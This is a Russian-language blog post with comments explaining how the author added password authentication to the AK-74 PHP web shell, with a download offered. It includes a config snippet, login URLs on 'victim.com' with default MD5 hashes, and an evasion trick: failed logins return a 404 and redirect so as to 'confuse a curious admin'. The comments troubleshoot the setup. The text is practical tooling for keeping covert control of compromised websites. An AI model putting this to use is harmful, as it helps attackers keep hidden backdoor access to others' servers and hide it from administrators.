добавляем авторизацию к AK-74 Web-shell

AK-74 – отличный шелл, там нет крутых наворотов, AJAX’а и прочей красоты, совершенно не нужной в таком деле. Однако там нет и еще одной вещи, на мой взгляд важной – авторизации. Вероятно, авторы шелла, к сожалению не знаю ссылки на создателей, думали, что любой пользователь сам в состоянии дописать авторизацию т.к. код скрипта прост и нагляден. Там и вправду ничего сложного нет.

Вообщем мне понадобилось и я дописал пару строчек, выполняющих авторизацию.

Я предлагаю 2 вида авторизации:

  • ввод пароля в адресной строке методом GET
  • хэш пароля в User-Agent браузера

Второй способ мне больше нравится т.к. не надо ничего запоминать, однако в таком случае если вы зайдете с этого браузера на любой другой сайт, то ваш хэш с легкостью будет перехвачен и записан в лог апача. Поэтому лучше использовать 2 способа одновременно.

Конфиг авторизации лежит в самом начале скрипта шелла:
//---------------------config-
$get_pass=md5("getpass"); //пароль по GET
$ua_pass=md5("uapass"); //пароль по User-Agent
$auth_var=array(
'get_pass'=>true, //вкл/выкл GET
'user_agent'=>false); //вкл/выкл User-Agent
//----------------------------

В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.

Ввод пароля по GET делается так:
/path/to/shell.php?kw=getpass

Для того, чтобы войти по User-Agent нужно вбить в браузер, чтобы он давал такой заголовок в пакете. Например в Firefox’е это делается так:

  • в адресной строке вводим about:config
  • в поле фильтр вбиваем general.useragent.extra.firefox
  • дописываем в значение поля хэш нашего $ua_pass

Скачать это дело можно тут.

7 Comments to “добавляем авторизацию к AK-74 Web-shell”

  1. Пупкин пишет:

    Не работает, все сделал как надо, сгенерил хеш, вставил, при заходе по адресу /path/to/shell.php?kw=мой-пароль меняет просто путь в адресной строке, пришлось вообще удалить авторизацию, тогда запустился шел..

    • lukmus пишет:

      Не работает, все сделал как надо, сгенерил хеш, вставил, при заходе по адресу /path/to/shell.php?kw=мой-пароль меняет просто путь в адресной строке, …

      так и должно быть, читай внимательно:

      В случае неудачной авторизации шелл выдаст ошибку 404 и немного изменит в адресной строке адрес т.е. заредиректит на схожий путь, тем самым запутав любопытного админа.

      это как раз что и у тебя. Если хэш забит в конфиг браузера, то нужно проверить целиком ли он туда вместился, там могут быть ограничения на длину строки

  2. Пупкин пишет:

    так по умолчанию используется get_pass я его и использовал, то есть запускаеться из строки браузера, хеш обычный md5, вроде ничего не напутал, проверял пару раз

  3. lukmus пишет:

    по умолчанию включен get_pass, user_agent выключен.
    md5(“getpass”)=8750307bd8b11fe6f9d319283986d121
    md5(“uapass”)=0b4bb84e5c21137a40ea0d0fbb4fc233

    вход по умолчанию ($auth_var=array(‘get_pass’=>true,’user_agent’=>false);):

    http://victim.com/path/to/shell/shell.php?kw=8750307bd8b11fe6f9d319283986d121

    вход при user_agent, пароли по умолчанию ($auth_var=array(‘get_pass’=>false,’user_agent’=>true);):

    http://victim.com/path/to/shell/shell.php
    + в конфиге браузера строка отсылаемая в заголовке содержит 0b4bb84e5c21137a40ea0d0fbb4fc233

    вход по двойной авторизации, пароли по умолчанию ($auth_var=array(‘get_pass’=>true,’user_agent’=>true);):

    http://victim.com/path/to/shell/shell.php?kw=8750307bd8b11fe6f9d319283986d121
    + в конфиге браузера строка отсылаемая в заголовке содержит 0b4bb84e5c21137a40ea0d0fbb4fc233

  4. Пупкин пишет:

    спасибо, разобрался, просто кое что поменял и не работало )

  5. Иван пишет:

    Добрый день!
    Не подскажите, зачем у вас авторизация по GET нужна, если можно использовать $_SESSION с заранее вписанным паролем для сравнения? И везде проверять. Нафига так заморачиваться?

  6. lukmus пишет:

    ну во-первых, авторизация по GET, это всего лишь одна из реализаций авторизации, во-вторых я не знал что в $_SESSION можно заранее вписывать пароль (буду очень рад если вы напишите как это сделать).

    И везде проверять. Нафига так заморачиваться?

    И в-третьих, там же не все время надо вводить GET-пароль, а только 1 раз т.к. после одного успешного входа заводится сессия и пароли уже вводить не надо, если я правильно вас понил. Да и к тому же, если опять же я верно понил, 1 раз в вашем способе с $_SESSION тоже придется вводить пароль, однако т.к. очень многие, втч я, не храню историю, то придется вводить пароль каждый раз при заходе, что аналогично GET-варианту.

Leave a Reply to Пупкин

(обязательно)

(обязательно)